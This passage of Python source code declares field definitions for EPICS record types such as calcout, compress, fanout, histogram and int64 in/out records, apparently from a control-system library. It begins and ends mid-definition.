input_l = pvproperty(name="INPL", dtype=ChannelType.STRING, doc="Input L") value_of_input_j = pvproperty( name="J", dtype=ChannelType.DOUBLE, doc="Value of Input J" ) value_of_input_k = pvproperty( name="K", dtype=ChannelType.DOUBLE, doc="Value of Input K" ) value_of_input_l = pvproperty( name="L", dtype=ChannelType.DOUBLE, doc="Value of Input L" ) prev_value_of_a = pvproperty( name="LA", dtype=ChannelType.DOUBLE, doc="Prev Value of A", read_only=True, ) last_value_alarmed = pvproperty( name="LALM", dtype=ChannelType.DOUBLE, doc="Last Value Alarmed", read_only=True, ) prev_value_of_b = pvproperty( name="LB", dtype=ChannelType.DOUBLE, doc="Prev Value of B", read_only=True, ) prev_value_of_c = pvproperty( name="LC", dtype=ChannelType.DOUBLE, doc="Prev Value of C", read_only=True, ) prev_value_of_d = pvproperty( name="LD", dtype=ChannelType.DOUBLE, doc="Prev Value of D", read_only=True, ) prev_value_of_e = pvproperty( name="LE", dtype=ChannelType.DOUBLE, doc="Prev Value of E", read_only=True, ) prev_value_of_f = pvproperty( name="LF", dtype=ChannelType.DOUBLE, doc="Prev Value of F", read_only=True, ) prev_value_of_g = pvproperty( name="LG", dtype=ChannelType.DOUBLE, doc="Prev Value of G", read_only=True, ) prev_value_of_h = pvproperty( name="LH", dtype=ChannelType.DOUBLE, doc="Prev Value of H", read_only=True, ) prev_value_of_i = pvproperty( name="LI", dtype=ChannelType.DOUBLE, doc="Prev Value of I", read_only=True, ) prev_value_of_j = pvproperty( name="LJ", dtype=ChannelType.DOUBLE, doc="Prev Value of J", read_only=True, ) prev_value_of_k = pvproperty( name="LK", dtype=ChannelType.DOUBLE, doc="Prev Value of K", read_only=True, ) prev_value_of_l = pvproperty( name="LL", dtype=ChannelType.DOUBLE, doc="Prev Value of L", read_only=True, ) monitor_deadband = pvproperty( name="MDEL", dtype=ChannelType.DOUBLE, doc="Monitor Deadband" ) last_val_monitored = pvproperty( name="MLST", dtype=ChannelType.DOUBLE, doc="Last Val Monitored", read_only=True, ) display_precision = pvproperty( name="PREC", dtype=ChannelType.INT, doc="Display Precision" ) # result = pvproperty(name='VAL', # dtype=ChannelType.DOUBLE, # doc='Result') link_parent_attribute( display_precision, "precision", ) link_parent_attribute(archive_deadband, "log_atol", use_setattr=True) link_parent_attribute(monitor_deadband, "value_atol", use_setattr=True) class CalcoutFields(RecordFieldGroup, _Limits): _record_type = "calcout" _dtype = ChannelType.DOUBLE # DTYP of .VAL has_val_field = True copy_pvproperties(locals(), RecordFieldGroup, _Limits) device_type = pvproperty( name="DTYP", dtype=ChannelType.ENUM, enum_strings=menus.dtyp_calcout.get_string_tuple(), doc="Device Type", ) value_of_input_a = pvproperty( name="A", dtype=ChannelType.DOUBLE, doc="Value of Input A" ) archive_deadband = pvproperty( name="ADEL", dtype=ChannelType.DOUBLE, doc="Archive Deadband" ) last_value_archived = pvproperty( name="ALST", dtype=ChannelType.DOUBLE, doc="Last Value Archived", read_only=True, ) value_of_input_b = pvproperty( name="B", dtype=ChannelType.DOUBLE, doc="Value of Input B" ) value_of_input_c = pvproperty( name="C", dtype=ChannelType.DOUBLE, doc="Value of Input C" ) calculation = pvproperty( name="CALC", dtype=ChannelType.CHAR, max_length=80, report_as_string=True, doc="Calculation", value=chr(0), ) calc_valid = pvproperty( name="CLCV", dtype=ChannelType.LONG, doc="CALC Valid" ) value_of_input_d = pvproperty( name="D", dtype=ChannelType.DOUBLE, doc="Value of Input D" ) output_delay_active = pvproperty( name="DLYA", dtype=ChannelType.INT, doc="Output Delay Active", read_only=True, ) output_data_opt = pvproperty( name="DOPT", dtype=ChannelType.ENUM, enum_strings=menus.calcoutDOPT.get_string_tuple(), doc="Output Data Opt", ) value_of_input_e = pvproperty( name="E", dtype=ChannelType.DOUBLE, doc="Value of Input E" ) engineering_units = pvproperty( name="EGU", dtype=ChannelType.CHAR, max_length=16, report_as_string=True, doc="Engineering Units", ) value_of_input_f = pvproperty( name="F", dtype=ChannelType.DOUBLE, doc="Value of Input F" ) value_of_input_g = pvproperty( name="G", dtype=ChannelType.DOUBLE, doc="Value of Input G" ) value_of_input_h = pvproperty( name="H", dtype=ChannelType.DOUBLE, doc="Value of Input H" ) alarm_deadband = pvproperty( name="HYST", dtype=ChannelType.DOUBLE, doc="Alarm Deadband" ) value_of_input_i = pvproperty( name="I", dtype=ChannelType.DOUBLE, doc="Value of Input I" ) inpa_pv_status = pvproperty( name="INAV", dtype=ChannelType.ENUM, enum_strings=menus.calcoutINAV.get_string_tuple(), doc="INPA PV Status", read_only=True, value=1, ) inpb_pv_status = pvproperty( name="INBV", dtype=ChannelType.ENUM, enum_strings=menus.calcoutINAV.get_string_tuple(), doc="INPB PV Status", read_only=True, value=1, ) inpc_pv_status = pvproperty( name="INCV", dtype=ChannelType.ENUM, enum_strings=menus.calcoutINAV.get_string_tuple(), doc="INPC PV Status", read_only=True, value=1, ) inpd_pv_status = pvproperty( name="INDV", dtype=ChannelType.ENUM, enum_strings=menus.calcoutINAV.get_string_tuple(), doc="INPD PV Status", read_only=True, value=1, ) inpe_pv_status = pvproperty( name="INEV", dtype=ChannelType.ENUM, enum_strings=menus.calcoutINAV.get_string_tuple(), doc="INPE PV Status", read_only=True, value=1, ) inpf_pv_status = pvproperty( name="INFV", dtype=ChannelType.ENUM, enum_strings=menus.calcoutINAV.get_string_tuple(), doc="INPF PV Status", read_only=True, value=1, ) inpg_pv_status = pvproperty( name="INGV", dtype=ChannelType.ENUM, enum_strings=menus.calcoutINAV.get_string_tuple(), doc="INPG PV Status", read_only=True, value=1, ) inph_pv_status = pvproperty( name="INHV", dtype=ChannelType.ENUM, enum_strings=menus.calcoutINAV.get_string_tuple(), doc="INPH PV Status", read_only=True, value=1, ) inpi_pv_status = pvproperty( name="INIV", dtype=ChannelType.ENUM, enum_strings=menus.calcoutINAV.get_string_tuple(), doc="INPI PV Status", read_only=True, value=1, ) inpj_pv_status = pvproperty( name="INJV", dtype=ChannelType.ENUM, enum_strings=menus.calcoutINAV.get_string_tuple(), doc="INPJ PV Status", read_only=True, value=1, ) inpk_pv_status = pvproperty( name="INKV", dtype=ChannelType.ENUM, enum_strings=menus.calcoutINAV.get_string_tuple(), doc="INPK PV Status", read_only=True, value=1, ) inpl_pv_status = pvproperty( name="INLV", dtype=ChannelType.ENUM, enum_strings=menus.calcoutINAV.get_string_tuple(), doc="INPL PV Status", read_only=True, value=1, ) input_a = pvproperty(name="INPA", dtype=ChannelType.STRING, doc="Input A") input_b = pvproperty(name="INPB", dtype=ChannelType.STRING, doc="Input B") input_c = pvproperty(name="INPC", dtype=ChannelType.STRING, doc="Input C") input_d = pvproperty(name="INPD", dtype=ChannelType.STRING, doc="Input D") input_e = pvproperty(name="INPE", dtype=ChannelType.STRING, doc="Input E") input_f = pvproperty(name="INPF", dtype=ChannelType.STRING, doc="Input F") input_g = pvproperty(name="INPG", dtype=ChannelType.STRING, doc="Input G") input_h = pvproperty(name="INPH", dtype=ChannelType.STRING, doc="Input H") input_i = pvproperty(name="INPI", dtype=ChannelType.STRING, doc="Input I") input_j = pvproperty(name="INPJ", dtype=ChannelType.STRING, doc="Input J") input_k = pvproperty(name="INPK", dtype=ChannelType.STRING, doc="Input K") input_l = pvproperty(name="INPL", dtype=ChannelType.STRING, doc="Input L") invalid_output_action = pvproperty( name="IVOA", dtype=ChannelType.ENUM, enum_strings=menus.menuIvoa.get_string_tuple(), doc="INVALID output action", ) invalid_output_value = pvproperty( name="IVOV", dtype=ChannelType.DOUBLE, doc="INVALID output value" ) value_of_input_j = pvproperty( name="J", dtype=ChannelType.DOUBLE, doc="Value of Input J" ) value_of_input_k = pvproperty( name="K", dtype=ChannelType.DOUBLE, doc="Value of Input K" ) value_of_input_l = pvproperty( name="L", dtype=ChannelType.DOUBLE, doc="Value of Input L" ) prev_value_of_a = pvproperty( name="LA", dtype=ChannelType.DOUBLE, doc="Prev Value of A", read_only=True, ) last_value_alarmed = pvproperty( name="LALM", dtype=ChannelType.DOUBLE, doc="Last Value Alarmed", read_only=True, ) prev_value_of_b = pvproperty( name="LB", dtype=ChannelType.DOUBLE, doc="Prev Value of B", read_only=True, ) prev_value_of_c = pvproperty( name="LC", dtype=ChannelType.DOUBLE, doc="Prev Value of C", read_only=True, ) prev_value_of_d = pvproperty( name="LD", dtype=ChannelType.DOUBLE, doc="Prev Value of D", read_only=True, ) prev_value_of_e = pvproperty( name="LE", dtype=ChannelType.DOUBLE, doc="Prev Value of E", read_only=True, ) prev_value_of_f = pvproperty( name="LF", dtype=ChannelType.DOUBLE, doc="Prev Value of F", read_only=True, ) prev_value_of_g = pvproperty( name="LG", dtype=ChannelType.DOUBLE, doc="Prev Value of G", read_only=True, ) prev_value_of_h = pvproperty( name="LH", dtype=ChannelType.DOUBLE, doc="Prev Value of H", read_only=True, ) prev_value_of_i = pvproperty( name="LI", dtype=ChannelType.DOUBLE, doc="Prev Value of I", read_only=True, ) prev_value_of_j = pvproperty( name="LJ", dtype=ChannelType.DOUBLE, doc="Prev Value of J", read_only=True, ) prev_value_of_k = pvproperty( name="LK", dtype=ChannelType.DOUBLE, doc="Prev Value of K", read_only=True, ) prev_value_of_l = pvproperty( name="LL", dtype=ChannelType.DOUBLE, doc="Prev Value of L", read_only=True, ) monitor_deadband = pvproperty( name="MDEL", dtype=ChannelType.DOUBLE, doc="Monitor Deadband" ) last_val_monitored = pvproperty( name="MLST", dtype=ChannelType.DOUBLE, doc="Last Val Monitored", read_only=True, ) output_calculation = pvproperty( name="OCAL", dtype=ChannelType.CHAR, max_length=80, report_as_string=True, doc="Output Calculation", value=chr(0), ) ocal_valid = pvproperty( name="OCLV", dtype=ChannelType.LONG, doc="OCAL Valid" ) output_execute_delay = pvproperty( name="ODLY", dtype=ChannelType.DOUBLE, doc="Output Execute Delay" ) event_to_issue = pvproperty( name="OEVT", dtype=ChannelType.CHAR, max_length=40, report_as_string=True, doc="Event To Issue", ) output_execute_opt = pvproperty( name="OOPT", dtype=ChannelType.ENUM, enum_strings=menus.calcoutOOPT.get_string_tuple(), doc="Output Execute Opt", ) output_specification = pvproperty( name="OUT", dtype=ChannelType.STRING, doc="Output Specification" ) out_pv_status = pvproperty( name="OUTV", dtype=ChannelType.ENUM, enum_strings=menus.calcoutINAV.get_string_tuple(), doc="OUT PV Status", read_only=True, ) output_value = pvproperty( name="OVAL", dtype=ChannelType.DOUBLE, doc="Output Value" ) prev_value_of_oval = pvproperty( name="POVL", dtype=ChannelType.DOUBLE, doc="Prev Value of OVAL" ) display_precision = pvproperty( name="PREC", dtype=ChannelType.INT, doc="Display Precision" ) previous_value = pvproperty( name="PVAL", dtype=ChannelType.DOUBLE, doc="Previous Value" ) # result = pvproperty(name='VAL', # dtype=ChannelType.DOUBLE, # doc='Result') link_parent_attribute( display_precision, "precision", ) link_parent_attribute(archive_deadband, "log_atol", use_setattr=True) link_parent_attribute(monitor_deadband, "value_atol", use_setattr=True) class CompressFields(RecordFieldGroup): _record_type = "compress" _dtype = None # DTYP of .VAL has_val_field = False copy_pvproperties(locals(), RecordFieldGroup) device_type = pvproperty( name="DTYP", dtype=ChannelType.ENUM, enum_strings=menus.dtyp_compress.get_string_tuple(), doc="Device Type", ) compression_algorithm = pvproperty( name="ALG", dtype=ChannelType.ENUM, enum_strings=menus.compressALG.get_string_tuple(), doc="Compression Algorithm", ) buffering_algorithm = pvproperty( name="BALG", dtype=ChannelType.ENUM, enum_strings=menus.bufferingALG.get_string_tuple(), doc="Buffering Algorithm", ) compress_value_buffer = pvproperty( name="CVB", dtype=ChannelType.DOUBLE, doc="Compress Value Buffer", read_only=True, ) engineering_units = pvproperty( name="EGU", dtype=ChannelType.CHAR, max_length=16, report_as_string=True, doc="Engineering Units", ) high_operating_range = pvproperty( name="HOPR", dtype=ChannelType.DOUBLE, doc="High Operating Range" ) init_high_interest_lim = pvproperty( name="IHIL", dtype=ChannelType.DOUBLE, doc="Init High Interest Lim" ) init_low_interest_lim = pvproperty( name="ILIL", dtype=ChannelType.DOUBLE, doc="Init Low Interest Lim" ) input_specification = pvproperty( name="INP", dtype=ChannelType.STRING, doc="Input Specification" ) number_of_elements_in_working_buffer = pvproperty( name="INPN", dtype=ChannelType.LONG, doc="Number of elements in Working Buffer", read_only=True, ) compressed_array_inx = pvproperty( name="INX", dtype=ChannelType.LONG, doc="Compressed Array Inx", read_only=True, ) low_operating_range = pvproperty( name="LOPR", dtype=ChannelType.DOUBLE, doc="Low Operating Range" ) n_to_1_compression = pvproperty( name="N", dtype=ChannelType.LONG, doc="N to 1 Compression", value=1 ) number_of_values = pvproperty( name="NSAM", dtype=ChannelType.LONG, doc="Number of Values", read_only=True, value=1, ) number_used = pvproperty( name="NUSE", dtype=ChannelType.LONG, doc="Number Used", read_only=True ) offset = pvproperty( name="OFF", dtype=ChannelType.LONG, doc="Offset", read_only=True ) old_number_used = pvproperty( name="OUSE", dtype=ChannelType.LONG, doc="Old Number Used", read_only=True, ) display_precision = pvproperty( name="PREC", dtype=ChannelType.INT, doc="Display Precision" ) reset = pvproperty(name="RES", dtype=ChannelType.INT, doc="Reset") link_parent_attribute( high_operating_range, "upper_ctrl_limit", ) link_parent_attribute( low_operating_range, "lower_ctrl_limit", ) link_parent_attribute( display_precision, "precision", ) class DfanoutFields(RecordFieldGroup, _Limits): _record_type = "dfanout" _dtype = ChannelType.DOUBLE # DTYP of .VAL has_val_field = True copy_pvproperties(locals(), RecordFieldGroup, _Limits) device_type = pvproperty( name="DTYP", dtype=ChannelType.ENUM, enum_strings=menus.dtyp_dfanout.get_string_tuple(), doc="Device Type", ) archive_deadband = pvproperty( name="ADEL", dtype=ChannelType.DOUBLE, doc="Archive Deadband" ) last_value_archived = pvproperty( name="ALST", dtype=ChannelType.DOUBLE, doc="Last Value Archived", read_only=True, ) desired_output_loc = pvproperty( name="DOL", dtype=ChannelType.STRING, doc="Desired Output Loc" ) engineering_units = pvproperty( name="EGU", dtype=ChannelType.CHAR, max_length=16, report_as_string=True, doc="Engineering Units", ) alarm_deadband = pvproperty( name="HYST", dtype=ChannelType.DOUBLE, doc="Alarm Deadband" ) last_value_alarmed = pvproperty( name="LALM", dtype=ChannelType.DOUBLE, doc="Last Value Alarmed", read_only=True, ) monitor_deadband = pvproperty( name="MDEL", dtype=ChannelType.DOUBLE, doc="Monitor Deadband" ) last_val_monitored = pvproperty( name="MLST", dtype=ChannelType.DOUBLE, doc="Last Val Monitored", read_only=True, ) output_mode_select = pvproperty( name="OMSL", dtype=ChannelType.ENUM, enum_strings=menus.menuOmsl.get_string_tuple(), doc="Output Mode Select", ) output_spec_a = pvproperty( name="OUTA", dtype=ChannelType.STRING, doc="Output Spec A" ) output_spec_b = pvproperty( name="OUTB", dtype=ChannelType.STRING, doc="Output Spec B" ) output_spec_c = pvproperty( name="OUTC", dtype=ChannelType.STRING, doc="Output Spec C" ) output_spec_d = pvproperty( name="OUTD", dtype=ChannelType.STRING, doc="Output Spec D" ) output_spec_e = pvproperty( name="OUTE", dtype=ChannelType.STRING, doc="Output Spec E" ) output_spec_f = pvproperty( name="OUTF", dtype=ChannelType.STRING, doc="Output Spec F" ) output_spec_g = pvproperty( name="OUTG", dtype=ChannelType.STRING, doc="Output Spec G" ) output_spec_h = pvproperty( name="OUTH", dtype=ChannelType.STRING, doc="Output Spec H" ) display_precision = pvproperty( name="PREC", dtype=ChannelType.INT, doc="Display Precision" ) link_selection_loc = pvproperty( name="SELL", dtype=ChannelType.STRING, doc="Link Selection Loc" ) select_mechanism = pvproperty( name="SELM", dtype=ChannelType.ENUM, enum_strings=menus.dfanoutSELM.get_string_tuple(), doc="Select Mechanism", ) link_selection = pvproperty( name="SELN", dtype=ChannelType.INT, doc="Link Selection", value=1 ) # desired_output = pvproperty(name='VAL', # dtype=ChannelType.DOUBLE, # doc='Desired Output') link_parent_attribute( display_precision, "precision", ) link_parent_attribute(archive_deadband, "log_atol", use_setattr=True) link_parent_attribute(monitor_deadband, "value_atol", use_setattr=True) class EventFields(RecordFieldGroup): _record_type = "event" _dtype = ChannelType.STRING # DTYP of .VAL has_val_field = True copy_pvproperties(locals(), RecordFieldGroup) device_type = pvproperty( name="DTYP", dtype=ChannelType.ENUM, enum_strings=menus.dtyp_event.get_string_tuple(), doc="Device Type", ) input_specification = pvproperty( name="INP", dtype=ChannelType.STRING, doc="Input Specification" ) prev_simulation_mode = pvproperty( name="OLDSIMM", dtype=ChannelType.ENUM, enum_strings=menus.menuSimm.get_string_tuple(), doc="Prev. Simulation Mode", read_only=True, ) sim_mode_async_delay = pvproperty( name="SDLY", dtype=ChannelType.DOUBLE, doc="Sim. Mode Async Delay", value=-1.0, ) sim_mode_location = pvproperty( name="SIML", dtype=ChannelType.STRING, doc="Sim Mode Location" ) simulation_mode = pvproperty( name="SIMM", dtype=ChannelType.ENUM, enum_strings=menus.menuYesNo.get_string_tuple(), doc="Simulation Mode", ) sim_mode_alarm_svrty = pvproperty( name="SIMS", dtype=ChannelType.ENUM, enum_strings=menus.menuAlarmSevr.get_string_tuple(), doc="Sim mode Alarm Svrty", ) sim_input_specifctn = pvproperty( name="SIOL", dtype=ChannelType.STRING, doc="Sim Input Specifctn" ) sim_mode_scan = pvproperty( name="SSCN", dtype=ChannelType.ENUM, enum_strings=menus.menuScan.get_string_tuple(), doc="Sim. Mode Scan", value=0, ) simulation_value = pvproperty( name="SVAL", dtype=ChannelType.CHAR, max_length=40, report_as_string=True, doc="Simulation Value", ) # event_name_to_post = pvproperty(name='VAL', # dtype=ChannelType.CHAR, # max_length=40,report_as_string=True,doc='Event Name To Post') class FanoutFields(RecordFieldGroup): _record_type = "fanout" _dtype = ChannelType.LONG # DTYP of .VAL has_val_field = True copy_pvproperties(locals(), RecordFieldGroup) device_type = pvproperty( name="DTYP", dtype=ChannelType.ENUM, enum_strings=menus.dtyp_fanout.get_string_tuple(), doc="Device Type", ) forward_link_0 = pvproperty( name="LNK0", dtype=ChannelType.STRING, doc="Forward Link 0" ) forward_link_1 = pvproperty( name="LNK1", dtype=ChannelType.STRING, doc="Forward Link 1" ) forward_link_2 = pvproperty( name="LNK2", dtype=ChannelType.STRING, doc="Forward Link 2" ) forward_link_3 = pvproperty( name="LNK3", dtype=ChannelType.STRING, doc="Forward Link 3" ) forward_link_4 = pvproperty( name="LNK4", dtype=ChannelType.STRING, doc="Forward Link 4" ) forward_link_5 = pvproperty( name="LNK5", dtype=ChannelType.STRING, doc="Forward Link 5" ) forward_link_6 = pvproperty( name="LNK6", dtype=ChannelType.STRING, doc="Forward Link 6" ) forward_link_7 = pvproperty( name="LNK7", dtype=ChannelType.STRING, doc="Forward Link 7" ) forward_link_8 = pvproperty( name="LNK8", dtype=ChannelType.STRING, doc="Forward Link 8" ) forward_link_9 = pvproperty( name="LNK9", dtype=ChannelType.STRING, doc="Forward Link 9" ) forward_link_10 = pvproperty( name="LNKA", dtype=ChannelType.STRING, doc="Forward Link 10" ) forward_link_11 = pvproperty( name="LNKB", dtype=ChannelType.STRING, doc="Forward Link 11" ) forward_link_12 = pvproperty( name="LNKC", dtype=ChannelType.STRING, doc="Forward Link 12" ) forward_link_13 = pvproperty( name="LNKD", dtype=ChannelType.STRING, doc="Forward Link 13" ) forward_link_14 = pvproperty( name="LNKE", dtype=ChannelType.STRING, doc="Forward Link 14" ) forward_link_15 = pvproperty( name="LNKF", dtype=ChannelType.STRING, doc="Forward Link 15" ) offset_for_specified = pvproperty( name="OFFS", dtype=ChannelType.INT, doc="Offset for Specified", value=0 ) link_selection_loc = pvproperty( name="SELL", dtype=ChannelType.STRING, doc="Link Selection Loc" ) select_mechanism = pvproperty( name="SELM", dtype=ChannelType.ENUM, enum_strings=menus.fanoutSELM.get_string_tuple(), doc="Select Mechanism", ) link_selection = pvproperty( name="SELN", dtype=ChannelType.INT, doc="Link Selection", value=1 ) shift_for_mask_mode = pvproperty( name="SHFT", dtype=ChannelType.INT, doc="Shift for Mask mode", value=-1 ) # used_to_trigger = pvproperty(name='VAL', # dtype=ChannelType.LONG, # doc='Used to trigger') class HistogramFields(RecordFieldGroup): _record_type = "histogram" _dtype = None # DTYP of .VAL has_val_field = False copy_pvproperties(locals(), RecordFieldGroup) device_type = pvproperty( name="DTYP", dtype=ChannelType.ENUM, enum_strings=menus.dtyp_histogram.get_string_tuple(), doc="Device Type", ) collection_control = pvproperty( name="CMD", dtype=ChannelType.ENUM, enum_strings=menus.histogramCMD.get_string_tuple(), doc="Collection Control", ) collection_status = pvproperty( name="CSTA", dtype=ChannelType.INT, doc="Collection Status", read_only=True, value=1, ) high_operating_range = pvproperty( name="HOPR", dtype=ChannelType.LONG, doc="High Operating Range" ) lower_signal_limit = pvproperty( name="LLIM", dtype=ChannelType.DOUBLE, doc="Lower Signal Limit " ) low_operating_range = pvproperty( name="LOPR", dtype=ChannelType.LONG, doc="Low Operating Range" ) counts_since_monitor = pvproperty( name="MCNT", dtype=ChannelType.INT, doc="Counts Since Monitor", read_only=True, ) monitor_count_deadband = pvproperty( name="MDEL", dtype=ChannelType.INT, doc="Monitor Count Deadband" ) num_of_array_elements = pvproperty( name="NELM", dtype=ChannelType.INT, doc="Num of Array Elements", read_only=True, value=1, ) prev_simulation_mode = pvproperty( name="OLDSIMM", dtype=ChannelType.ENUM, enum_strings=menus.menuSimm.get_string_tuple(), doc="Prev. Simulation Mode", read_only=True, ) display_precision = pvproperty( name="PREC", dtype=ChannelType.INT, doc="Display Precision" ) monitor_seconds_dband = pvproperty( name="SDEL", dtype=ChannelType.DOUBLE, doc="Monitor Seconds Dband" ) sim_mode_async_delay = pvproperty( name="SDLY", dtype=ChannelType.DOUBLE, doc="Sim. Mode Async Delay", value=-1.0, ) signal_value = pvproperty( name="SGNL", dtype=ChannelType.DOUBLE, doc="Signal Value" ) simulation_mode_link = pvproperty( name="SIML", dtype=ChannelType.STRING, doc="Simulation Mode Link" ) simulation_mode = pvproperty( name="SIMM", dtype=ChannelType.ENUM, enum_strings=menus.menuYesNo.get_string_tuple(), doc="Simulation Mode", ) simulation_mode_severity = pvproperty( name="SIMS", dtype=ChannelType.ENUM, enum_strings=menus.menuAlarmSevr.get_string_tuple(), doc="Simulation Mode Severity", ) simulation_input_link = pvproperty( name="SIOL", dtype=ChannelType.STRING, doc="Simulation Input Link" ) sim_mode_scan = pvproperty( name="SSCN", dtype=ChannelType.ENUM, enum_strings=menus.menuScan.get_string_tuple(), doc="Sim. Mode Scan", value=0, ) simulation_value = pvproperty( name="SVAL", dtype=ChannelType.DOUBLE, doc="Simulation Value" ) signal_value_location = pvproperty( name="SVL", dtype=ChannelType.STRING, doc="Signal Value Location" ) upper_signal_limit = pvproperty( name="ULIM", dtype=ChannelType.DOUBLE, doc="Upper Signal Limit" ) element_width = pvproperty( name="WDTH", dtype=ChannelType.DOUBLE, doc="Element Width", read_only=True, ) link_parent_attribute( display_precision, "precision", ) link_parent_attribute( high_operating_range, "upper_ctrl_limit", ) link_parent_attribute( low_operating_range, "lower_ctrl_limit", ) class Int64inFields(RecordFieldGroup, _LimitsLong): _record_type = "int64in" _dtype = ChannelType.LONG # DTYP of .VAL has_val_field = True copy_pvproperties(locals(), RecordFieldGroup, _LimitsLong) device_type = pvproperty( name="DTYP", dtype=ChannelType.ENUM, enum_strings=menus.dtyp_int64in.get_string_tuple(), doc="Device Type", ) archive_deadband = pvproperty( name="ADEL", dtype=ChannelType.LONG, doc="Archive Deadband" ) alarm_filter_time_constant = pvproperty( name="AFTC", dtype=ChannelType.DOUBLE, doc="Alarm Filter Time Constant" ) alarm_filter_value = pvproperty( name="AFVL", dtype=ChannelType.DOUBLE, doc="Alarm Filter Value", read_only=True, ) last_value_archived = pvproperty( name="ALST", dtype=ChannelType.LONG, doc="Last Value Archived", read_only=True, ) units_name = pvproperty( name="EGU", dtype=ChannelType.CHAR, max_length=16, report_as_string=True, doc="Units name", ) alarm_deadband = pvproperty( name="HYST", dtype=ChannelType.LONG, doc="Alarm Deadband" ) input_specification = pvproperty( name="INP", dtype=ChannelType.STRING, doc="Input Specification" ) last_value_alarmed = pvproperty( name="LALM", dtype=ChannelType.LONG, doc="Last Value Alarmed", read_only=True, ) monitor_deadband = pvproperty( name="MDEL", dtype=ChannelType.LONG, doc="Monitor Deadband" ) last_val_monitored = pvproperty( name="MLST", dtype=ChannelType.LONG, doc="Last Val Monitored", read_only=True, ) prev_simulation_mode = pvproperty( name="OLDSIMM", dtype=ChannelType.ENUM, enum_strings=menus.menuSimm.get_string_tuple(), doc="Prev. Simulation Mode", read_only=True, ) sim_mode_async_delay = pvproperty( name="SDLY", dtype=ChannelType.DOUBLE, doc="Sim. Mode Async Delay", value=-1.0, ) simulation_mode_link = pvproperty( name="SIML", dtype=ChannelType.STRING, doc="Simulation Mode Link" ) simulation_mode = pvproperty( name="SIMM", dtype=ChannelType.ENUM, enum_strings=menus.menuYesNo.get_string_tuple(), doc="Simulation Mode", ) simulation_mode_severity = pvproperty( name="SIMS", dtype=ChannelType.ENUM, enum_strings=menus.menuAlarmSevr.get_string_tuple(), doc="Simulation Mode Severity", ) simulation_input_link = pvproperty( name="SIOL", dtype=ChannelType.STRING, doc="Simulation Input Link" ) sim_mode_scan = pvproperty( name="SSCN", dtype=ChannelType.ENUM, enum_strings=menus.menuScan.get_string_tuple(), doc="Sim. Mode Scan", value=0, ) simulation_value = pvproperty( name="SVAL", dtype=ChannelType.LONG, doc="Simulation Value" ) # current_value = pvproperty(name='VAL', # dtype=ChannelType.LONG, # doc='Current value') link_parent_attribute(archive_deadband, "log_atol", use_setattr=True) link_parent_attribute(monitor_deadband, "value_atol", use_setattr=True) class Int64outFields(RecordFieldGroup, _LimitsLong): _record_type = "int64out" _dtype = ChannelType.LONG # DTYP of .VAL has_val_field = True copy_pvproperties(locals(), RecordFieldGroup, _LimitsLong) device_type = pvproperty( name="DTYP", dtype=ChannelType.ENUM, enum_strings=menus.dtyp_int64out.get_string_tuple(), doc="Device Type", ) archive_deadband = pvproperty( name="ADEL", dtype=ChannelType.LONG, doc="Archive Deadband" ) last_value_archived = pvproperty( name="ALST", dtype=ChannelType.LONG, doc="Last Value Archived", read_only=True, ) desired_output_loc = pvproperty( name="DOL", dtype=ChannelType.STRING, doc="Desired Output Loc" ) drive_high_limit = pvproperty( name="DRVH", dtype=ChannelType.LONG, doc="Drive High Limit" ) drive_low_limit = pvproperty( name="DRVL", dtype=ChannelType.LONG, doc="Drive Low Limit" ) units_name = pvproperty( name="EGU", dtype=ChannelType.CHAR, max_length=16, report_as_string=True, doc="Units name", ) alarm_deadband = pvproperty( name="HYST", dtype=ChannelType.LONG, doc="Alarm Deadband" ) invalid_output_action = pvproperty( name="IVOA", dtype=ChannelType.ENUM, enum_strings=menus.menuIvoa.get_string_tuple(), doc="INVALID output action", ) invalid_output_value = pvproperty( name="IVOV", dtype=ChannelType.LONG, doc="INVALID output value" ) last_value_alarmed = pvproperty( name="LALM", dtype=ChannelType.LONG, doc="Last Value Alarmed", read_only=True, ) monitor_deadband = pvproperty( name="MDEL", dtype=ChannelType.LONG, doc="Monitor Deadband" ) last_val_monitored = pvproperty( name="MLST", dtype=ChannelType.LONG, doc="Last Val Monitored", read_only=True, ) prev_simulation_mode = pvproperty( name="OLDSIMM", dtype=ChannelType.ENUM, enum_strings=menus.menuSimm.get_string_tuple(), doc="Prev. Simulation Mode", read_only=True, ) output_mode_select = pvproperty( name="OMSL", dtype=ChannelType.ENUM, enum_strings=menus.menuOmsl.get_string_tuple(), doc="Output Mode Select", ) output_specification = pvproperty( name="OUT", dtype=ChannelType.STRING, doc="Output Specification" ) sim_mode_async_delay = pvproperty( name="SDLY", dtype=ChannelType.DOUBLE, doc="Sim. Mode Async Delay", value=-1.0, ) simulation_mode_link = pvproperty( name="SIML", dtype=ChannelType.STRING, doc="Simulation Mode Link" ) simulation_mode = pvproperty( name="SIMM", dtype=ChannelType.ENUM, enum_strings=menus.menuYesNo.get_string_tuple(), doc="Simulation Mode", ) simulation_mode_severity = pvproperty( name="SIMS", dtype=ChannelType.ENUM, enum_strings=menus.menuAlarmSevr.get_string_tuple(), doc="Simulation Mode Severity", ) simulation_output_link = pvproperty( name="SIOL", dtype=ChannelType.STRING, doc="Simulation Output Link" ) sim_mode_scan = pvproperty( name="SSCN", dtype=ChannelType.ENUM, enum_strings=menus.menuScan.get_string_tuple(), doc="Sim. Mode Scan", value=0, ) # desired_output = pvproperty(name='VAL', # dtype=ChannelType.LONG, # doc='Desired Output') link_parent_attribute(archive_deadband, "log_atol", use_setattr=True) link_parent_attribute(monitor_deadband, "value_atol", use_setattr=True) class LonginFields(RecordFieldGroup, _LimitsLong): _record_type = "longin" _dtype = ChannelType.LONG # DTYP of .VAL has_val_field = True copy_pvproperties(locals(), RecordFieldGroup, _LimitsLong) device_type = pvproperty( name="DTYP", dtype=ChannelType.ENUM, enum_strings=menus.dtyp_longin.get_string_tuple(), doc="Device Type", ) archive_deadband = pvproperty( name="ADEL", dtype=ChannelType.LONG, doc="Archive Deadband" ) alarm_filter_time_constant = pvproperty( name="AFTC", dtype=ChannelType.DOUBLE, doc="Alarm Filter Time Constant" ) alarm_filter_value = pvproperty( name="AFVL", dtype=ChannelType.DOUBLE, doc="Alarm Filter Value", read_only=True, ) last_value_archived = pvproperty( name="ALST", dtype=ChannelType.LONG, doc="Last Value Archived", read_only=True, ) engineering_units = pvproperty( name="EGU", dtype=ChannelType.CHAR, max_length=16, report_as_string=True, doc="Engineering Units", ) alarm_deadband = pvproperty( name="HYST", dtype=ChannelType.LONG, doc="Alarm Deadband" ) input_specification = pvproperty( name="INP", dtype=ChannelType.STRING, doc="Input Specification" ) last_value_alarmed = pvproperty( name="LALM", dtype=ChannelType.LONG, doc="Last Value 